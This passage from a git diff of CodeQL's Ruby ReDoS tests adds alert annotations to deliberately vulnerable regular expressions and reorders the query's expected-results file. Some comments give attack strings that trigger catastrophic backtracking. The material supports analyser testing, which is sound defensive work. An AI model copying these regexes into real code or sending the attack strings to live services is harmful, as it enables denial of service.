empty-string after the attack string. -actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ +actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ # $ Alert # NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n" # Adapted from Knockout (https://github.com/knockout/knockout), which is # licensed under the MIT license; see file knockout-LICENSE -bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i +bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i # $ Alert # GOOD good6 = /(a|.)*/ # Testing the NFA - only some of the below are detected. -bad7 = /^([a-z]+)+$/ -bad8 = /^([a-z]*)*$/ -bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ -bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ +bad7 = /^([a-z]+)+$/ # $ Alert +bad8 = /^([a-z]*)*$/ # $ Alert +bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ # $ Alert +bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ # $ Alert # NOT GOOD; attack: "[" + "][".repeat(100) + "]!" # Adapted from Prototype.js (https://github.com/prototypejs/prototype), which # is licensed under the MIT license; see file Prototype.js-LICENSE. -bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ +bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ # $ Alert # NOT GOOD; attack: "'" + "\\a".repeat(100) + '"' # Adapted from Prism (https://github.com/PrismJS/prism), which is licensed # under the MIT license; see file Prism-LICENSE. -bad12 = /("|')(\\?.)*?\1/ +bad12 = /("|')(\\?.)*?\1/ # $ Alert # NOT GOOD -bad13 = /(b|a?b)*c/ +bad13 = /(b|a?b)*c/ # $ Alert # NOT GOOD -bad15 = /(a|aa?)*b/ +bad15 = /(a|aa?)*b/ # $ Alert # GOOD good7 = /(.|\n)*!/ # NOT GOOD; attack: "\n".repeat(100) + "." -bad16 = /(.|\n)*!/m +bad16 = /(.|\n)*!/m # $ Alert # GOOD good8 = /([\w.]+)*/ # NOT GOOD -bad17 = Regexp.new '(a|aa?)*b' +bad17 = Regexp.new '(a|aa?)*b' # $ Alert # GOOD - not used as regexp good9 = '(a|aa?)*b' # NOT GOOD -bad18 = /(([\S\s]|[^a])*)"/ +bad18 = /(([\S\s]|[^a])*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good10 = /([^"']+)*/ # NOT GOOD -bad20 = /((.|[^a])*)"/ +bad20 = /((.|[^a])*)"/ # $ Alert # GOOD good10 = /((a|[^a])*)"/ # NOT GOOD -bad21 = /((b|[^a])*)"/ +bad21 = /((b|[^a])*)"/ # $ Alert # NOT GOOD -bad22 = /((G|[^a])*)"/ +bad22 = /((G|[^a])*)"/ # $ Alert # NOT GOOD -bad23 = /(([0-9]|[^a])*)"/ +bad23 = /(([0-9]|[^a])*)"/ # $ Alert # BAD - missing result bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/ @@ -122,55 +122,55 @@ bad25 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"/ bad26 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/ # NOT GOOD -bad27 = /(([a-z]|[d-h])*)"/ +bad27 = /(([a-z]|[d-h])*)"/ # $ Alert # NOT GOOD -bad27 = /(([^a-z]|[^0-9])*)"/ +bad27 = /(([^a-z]|[^0-9])*)"/ # $ Alert # NOT GOOD -bad28 = /((\d|[0-9])*)"/ +bad28 = /((\d|[0-9])*)"/ # $ Alert # NOT GOOD -bad29 = /((\s|\s)*)"/ +bad29 = /((\s|\s)*)"/ # $ Alert # NOT GOOD -bad30 = /((\w|G)*)"/ +bad30 = /((\w|G)*)"/ # $ Alert # GOOD good11 = /((\s|\d)*)"/ # NOT GOOD -bad31 = /((\d|\w)*)"/ +bad31 = /((\d|\w)*)"/ # $ Alert # NOT GOOD -bad32 = /((\d|5)*)"/ +bad32 = /((\d|5)*)"/ # $ Alert # BAD - \f is not handled correctly -bad33 = /((\s|[\f])*)"/ +bad33 = /((\s|[\f])*)"/ # $ Alert # BAD - \v is not handled correctly -bad34 = /((\s|[\v]|\\v)*)"/ +bad34 = /((\s|[\v]|\\v)*)"/ # $ Alert # NOT GOOD -bad35 = /((\f|[\f])*)"/ +bad35 = /((\f|[\f])*)"/ # $ Alert # NOT GOOD -bad36 = /((\W|\D)*)"/ +bad36 = /((\W|\D)*)"/ # $ Alert # NOT GOOD -bad37 = /((\S|\w)*)"/ +bad37 = /((\S|\w)*)"/ # $ Alert # NOT GOOD -bad38 = /((\S|[\w])*)"/ +bad38 = /((\S|[\w])*)"/ # $ Alert # NOT GOOD -bad39 = /((1s|[\da-z])*)"/ +bad39 = /((1s|[\da-z])*)"/ # $ Alert # NOT GOOD -bad40 = /((0|[\d])*)"/ +bad40 = /((0|[\d])*)"/ # $ Alert # NOT GOOD -bad41 = /(([\d]+)*)"/ +bad41 = /(([\d]+)*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good12 = /(\d+(X\d+)?)+/ @@ -182,49 +182,49 @@ good13 = /([0-9]+(X[0-9]*)?)*/ good15 = /^([^>]+)*(>|$)/ # NOT GOOD -bad43 = /^([^>a]+)*(>|$)/ +bad43 = /^([^>a]+)*(>|$)/ # $ Alert # NOT GOOD -bad44 = /(\n\s*)+$/ +bad44 = /(\n\s*)+$/ # $ Alert # NOT GOOD -bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ +bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ # $ Alert # NOT GOOD -bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ +bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ # $ Alert # NOT GOOD -bad47 = /(a+|b+|c+)*c/ +bad47 = /(a+|b+|c+)*c/ # $ Alert # NOT GOOD -bad48 = /(((a+a?)*)+b+)/ +bad48 = /(((a+a?)*)+b+)/ # $ Alert # NOT GOOD -bad49 = /(a+)+bbbb/ +bad49 = /(a+)+bbbb/ # $ Alert # GOOD good16 = /(a+)+aaaaa*a+/ # NOT GOOD -bad50 = /(a+)+aaaaa$/ +bad50 = /(a+)+aaaaa$/ # $ Alert # GOOD good17 = /(\n+)+\n\n/ # NOT GOOD -bad51 = /(\n+)+\n\n$/ +bad51 = /(\n+)+\n\n$/ # $ Alert # NOT GOOD -bad52 = /([^X]+)*$/ +bad52 = /([^X]+)*$/ # $ Alert # NOT GOOD -bad53 = /(([^X]b)+)*$/ +bad53 = /(([^X]b)+)*$/ # $ Alert # GOOD good18 = /(([^X]b)+)*($|[^X]b)/ # NOT GOOD -bad54 = /(([^X]b)+)*($|[^X]c)/ +bad54 = /(([^X]b)+)*($|[^X]c)/ # $ Alert # GOOD good20 = /((ab)+)*ababab/ @@ -236,13 +236,13 @@ good21 = /((ab)+)*abab(ab)*(ab)+/ good22 = /((ab)+)*/ # NOT GOOD -bad55 = /((ab)+)*$/ +bad55 = /((ab)+)*$/ # $ Alert # GOOD good23 = /((ab)+)*[a1][b1][a2][b2][a3][b3]/ # NOT GOOD -bad56 = /([\n\s]+)*(.)/ +bad56 = /([\n\s]+)*(.)/ # $ Alert # GOOD - any witness passes through the accept state. good24 = /(A*A*X)*/ @@ -251,13 +251,13 @@ good24 = /(A*A*X)*/ good26 = /([^\\\]]+)*/ # NOT GOOD -bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ +bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ # $ Alert # NOT GOOD -bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ +bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ # $ Alert # NOT GOOD -bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ +bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ # $ Alert # GOOD good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-/ @@ -269,58 +269,58 @@ good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelate #good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/ # NOT GOOD (but cannot currently construct a prefix) -bad62 = /a{2,3}(b+)+X/ +bad62 = /a{2,3}(b+)+X/ # $ Alert # NOT GOOD (and a good prefix test) -bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ +bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ # $ Alert # GOOD good30 = /(a+)*[\S\s][\S\s][\S\s]?/ # GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`). -good31 = /(a+)*[\S\s]{2,3}/ +good31 = /(a+)*[\S\s]{2,3}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA). -good32 = /(a+)*([\S\s]{2,}|X)$/ +good32 = /(a+)*([\S\s]{2,}|X)$/ # $ Alert # GOOD good33 = /(a+)*([\S\s]*|X)$/ # NOT GOOD -bad64 = /((a+)*$|[\S\s]+)/ +bad64 = /((a+)*$|[\S\s]+)/ # $ Alert # GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. -good34 = /([\S\s]+|(a+)*$)/ +good34 = /([\S\s]+|(a+)*$)/ # $ Alert # GOOD good35 = /((;|^)a+)+$/ # NOT GOOD (a good prefix test) -bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ +bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ # $ Alert # NOT GOOD -bad66 = /^ab(c+)+$/ +bad66 = /^ab(c+)+$/ # $ Alert # NOT GOOD -bad67 = /(\d(\s+)*){20}/ +bad67 = /(\d(\s+)*){20}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ +good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good37 = /^((x([^Y]+)?)*(Y|$))/ +good37 = /^((x([^Y]+)?)*(Y|$))/ # $ Alert # NOT GOOD -bad68 = /(a*)+b/ +bad68 = /(a*)+b/ # $ Alert # NOT GOOD -bad69 = /foo([\w-]*)+bar/ +bad69 = /foo([\w-]*)+bar/ # $ Alert # NOT GOOD -bad70 = /((ab)*)+c/ +bad70 = /((ab)*)+c/ # $ Alert # NOT GOOD -bad71 = /(a?a?)*b/ +bad71 = /(a?a?)*b/ # $ Alert # GOOD good38 = /(a?)*b/ @@ -329,54 +329,54 @@ good38 = /(a?)*b/ bad72 = /(c?a?)*b/ # NOT GOOD -bad73 = /(?:a|a?)+b/ +bad73 = /(?:a|a?)+b/ # $ Alert # NOT GOOD - but not detected. bad74 = /(a?b?)*$/ # NOT GOOD -bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ +bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ # $ Alert # NOT GOOD - but not detected -bad77 = /^((a)+\w)+$/ +bad77 = /^((a)+\w)+$/ # $ Alert # NOT GOOD -bad78 = /^(b+.)+$/ +bad78 = /^(b+.)+$/ # $ Alert # GOOD good39 = /a*b/ # All 4 bad combinations of nested * and + -bad79 = /(a*)*b/ -bad80 = /(a+)*b/ -bad81 = /(a*)+b/ -bad82 = /(a+)+b/ +bad79 = /(a*)*b/ # $ Alert +bad80 = /(a+)*b/ # $ Alert +bad81 = /(a*)+b/ # $ Alert +bad82 = /(a+)+b/ # $ Alert # GOOD good40 = /(a|b)+/ good41 = /(?:[\s;,"'<>(){}|\[\]@=+*]|:(?![\/\\]))+/ # NOT GOOD -bad83 = /^((?:a{|-)|\w\{)+X$/ -bad84 = /^((?:a{0|-)|\w\{\d)+X$/ -bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ -bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ +bad83 = /^((?:a{|-)|\w\{)+X$/ # $ Alert +bad84 = /^((?:a{0|-)|\w\{\d)+X$/ # $ Alert +bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ # $ Alert +bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ # $ Alert # NOT GOOD bad87 = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/ # NOT GOOD -bad88 = /^X(\u0061|a)*Y$/ +bad88 = /^X(\u0061|a)*Y$/ # $ Alert # GOOD good43 = /^X(\u0061|b)+Y$/ # NOT GOOD -bad88 = /X([[:digit:]]|\d)+Y/ +bad88 = /X([[:digit:]]|\d)+Y/ # $ Alert # NOT GOOD -bad89 = /\G(a|\w)*$/ -bad90 = /\b(a|\w)*$/ +bad89 = /\G(a|\w)*$/ # $ Alert +bad90 = /\b(a|\w)*$/ # $ Alert # NOT GOOD; attack: "0".repeat(30) + "!" # Adapated from addressable (https://github.com/sporkmonger/addressable) @@ -387,5 +387,5 @@ module Bad91 var_char_class = ALPHA + DIGIT + '_' var_char = "(?:(?:[#{var_char_class}]|%[a-fA-F0-9][a-fA-F0-9])+)" var = "(?:#{var_char}(?:\\.?#{var_char})*)" - bad91 = /^#{var}$/ + bad91 = /^#{var}$/ # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.expected b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.expected index 79d6c72fa3f..7d333ca4dba 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.expected +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.expected @@ -1,3 +1,32 @@ +#select +| PolynomialReDoS.rb:10:5:10:17 | ... =~ ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:10:5:10:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:11:5:11:17 | ... !~ ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:11:5:11:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:12:5:12:15 | ...[...] | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:12:5:12:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:13:5:13:23 | call to gsub | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:13:5:13:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:14:5:14:20 | call to index | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:14:5:14:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:15:5:15:20 | call to match | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:15:5:15:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:16:5:16:21 | call to match? | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:16:5:16:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:17:5:17:24 | call to partition | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:17:5:17:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:18:5:18:21 | call to rindex | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:18:5:18:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:19:5:19:25 | call to rpartition | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:19:5:19:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:20:5:20:19 | call to scan | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:20:5:20:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:21:5:21:20 | call to split | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:21:5:21:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:22:5:22:22 | call to sub | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:22:5:22:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:23:5:23:20 | call to match | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:23:17:23:20 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:24:5:24:21 | call to match? | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:24:18:24:21 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:28:5:28:21 | call to gsub! | PolynomialReDoS.rb:27:9:27:14 | call to params | PolynomialReDoS.rb:28:5:28:5 | a | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:27:9:27:14 | call to params | user-provided value | +| PolynomialReDoS.rb:30:5:30:18 | call to slice! | PolynomialReDoS.rb:29:9:29:14 | call to params | PolynomialReDoS.rb:30:5:30:5 | b | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:29:9:29:14 | call to params | user-provided value | +| PolynomialReDoS.rb:32:5:32:20 | call to sub! | PolynomialReDoS.rb:31:9:31:14 | call to params | PolynomialReDoS.rb:32:5:32:5 | c | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:31:9:31:14 | call to params | user-provided value | +| PolynomialReDoS.rb:42:5:45:7 | case ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:42:10:42:13 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:47:5:50:7 | case ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:47:10:47:13 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:48:14:48:16 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | +| PolynomialReDoS.rb:62:5:62:22 | call to gsub | PolynomialReDoS.rb:54:12:54:17 | call to params | PolynomialReDoS.rb:62:5:62:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:56:31:56:33 | \\s+ | regular expression | PolynomialReDoS.rb:54:12:54:17 | call to params | user-provided value | +| PolynomialReDoS.rb:66:5:66:34 | call to match? | PolynomialReDoS.rb:54:12:54:17 | call to params | PolynomialReDoS.rb:66:5:66:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:58:30:58:32 | \\s+ | regular expression | PolynomialReDoS.rb:54:12:54:17 | call to params | user-provided value | +| PolynomialReDoS.rb:77:5:77:22 | call to gsub | PolynomialReDoS.rb:70:12:70:17 | call to params | PolynomialReDoS.rb:77:5:77:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:72:28:72:30 | \\s+ | regular expression | PolynomialReDoS.rb:70:12:70:17 | call to params | user-provided value | +| PolynomialReDoS.rb:105:5:105:23 | ... =~ ... | PolynomialReDoS.rb:103:12:103:17 | call to params | PolynomialReDoS.rb:105:5:105:8 | name | This $@ that depends on a $@ may run slow on strings starting with '''' and with many repetitions of ' '. | PolynomialReDoS.rb:100:397:100:399 | \\s* | regular expression | PolynomialReDoS.rb:103:12:103:17 | call to params | user-provided value | +| PolynomialReDoS.rb:105:5:105:23 | ... =~ ... | PolynomialReDoS.rb:103:12:103:17 | call to params | PolynomialReDoS.rb:105:5:105:8 | name | This $@ that depends on a $@ may run slow on strings starting with '''' and with many repetitions of ' '. | PolynomialReDoS.rb:100:405:100:407 | \\s* | regular expression | PolynomialReDoS.rb:103:12:103:17 | call to params | user-provided value | +| lib/index.rb:4:13:4:26 | call to match | lib/index.rb:2:11:2:11 | x | lib/index.rb:4:13:4:13 | x | This $@ that depends on a $@ may run slow on strings with many repetitions of 'a'. | lib/index.rb:4:22:4:23 | a+ | regular expression | lib/index.rb:2:11:2:11 | x | library input | +| lib/index.rb:9:15:9:28 | call to match | lib/index.rb:8:13:8:13 | x | lib/index.rb:9:15:9:15 | x | This $@ that depends on a $@ may run slow on strings with many repetitions of 'a'. | lib/index.rb:9:24:9:25 | a+ | regular expression | lib/index.rb:8:13:8:13 | x | library input | +| lib/index.rb:11:16:11:276 | call to match | lib/index.rb:8:13:8:13 | x | lib/index.rb:11:16:11:16 | x | This $@ that depends on a $@ may run slow on strings starting with 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC' and with many repetitions of 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC'. | lib/index.rb:11:271:11:272 | .* | regular expression | lib/index.rb:8:13:8:13 | x | library input | edges | PolynomialReDoS.rb:4:5:4:8 | name | PolynomialReDoS.rb:10:5:10:8 | name | provenance | | | PolynomialReDoS.rb:4:5:4:8 | name | PolynomialReDoS.rb:11:5:11:8 | name | provenance | | @@ -104,32 +133,3 @@ nodes | lib/index.rb:9:15:9:15 | x | semmle.label | x | | lib/index.rb:11:16:11:16 | x | semmle.label | x | subpaths -#select -| PolynomialReDoS.rb:10:5:10:17 | ... =~ ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:10:5:10:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:11:5:11:17 | ... !~ ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:11:5:11:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:12:5:12:15 | ...[...] | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:12:5:12:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:13:5:13:23 | call to gsub | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:13:5:13:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:14:5:14:20 | call to index | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:14:5:14:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:15:5:15:20 | call to match | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:15:5:15:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:16:5:16:21 | call to match? | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:16:5:16:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:17:5:17:24 | call to partition | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:17:5:17:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:18:5:18:21 | call to rindex | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:18:5:18:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:19:5:19:25 | call to rpartition | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:19:5:19:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:20:5:20:19 | call to scan | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:20:5:20:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:21:5:21:20 | call to split | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:21:5:21:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params 